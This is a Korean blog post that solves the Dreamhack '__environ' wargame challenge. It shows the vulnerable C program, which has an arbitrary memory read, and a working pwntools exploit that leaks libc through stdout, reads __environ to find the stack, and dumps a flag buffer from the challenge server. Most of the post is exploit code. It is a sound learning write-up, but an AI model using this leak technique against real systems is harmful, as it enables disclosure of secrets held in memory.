[Dreamhack] __environ

김성진·2022년 7월 18일
0

Dreamhack_System

목록 보기
32/44

📒 Description & Checksec


📒 C code

// Name: environ.c
// Compile: gcc -o environ environ.c

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
  exit(0);
}
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  signal(SIGALRM, sig_handle);
  alarm(5);
}

void read_file() {
  char file_buf[4096];

  int fd = open("/home/environ_exercise/flag", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
int main() {
  char buf[1024];
  long addr;
  int idx;

  init();
  read_file();

  printf("stdout: %p\n", stdout);

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}

environ에 관한 문제인 듯 하다. 우리는 현재 스택의 주소를 모르는데, 그것이 environ에는 적혀있다. 또한 스택 간의 오프셋은 유지되기에 그 점을 이용하여 문제를 쉽게 해결할 수 있겠다.


📒 Exploit

📖 exploit.py

from pwn import *

REMOTE = True

e = ELF('./environ_exercise')

if REMOTE == False:
    p = process('./environ_exercise')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    stdout_offset = libc.symbols['_IO_2_1_stdout_']
    __environ_offset = libc.symbols['__environ']
else:
    p = remote('host3.dreamhack.games', 8748)
    stdout_offset = 0x3ec760
    __environ_offset = 0x61c118

__environ_flag_offset = 0x538
p.recvuntil('stdout: ')

stdout_addr = int(p.recvline()[:-1], 16)
libc_base = stdout_addr - stdout_offset
__environ_addr = libc_base + __environ_offset

p.sendline(str(1))
p.recvuntil('Addr: ')
p.sendline(str(__environ_addr))
__environ = u64(p.recvn(6)+'\x00\x00')
print(hex(__environ))

flag_addr = __environ - __environ_flag_offset - 0x1000
print('read_flag stack start = '+str(hex(flag_addr)))
p.sendline("1")
p.recvuntil('Addr: ')
p.sendline(str(flag_addr))
p.interactive()
profile
Today I Learned

0개의 댓글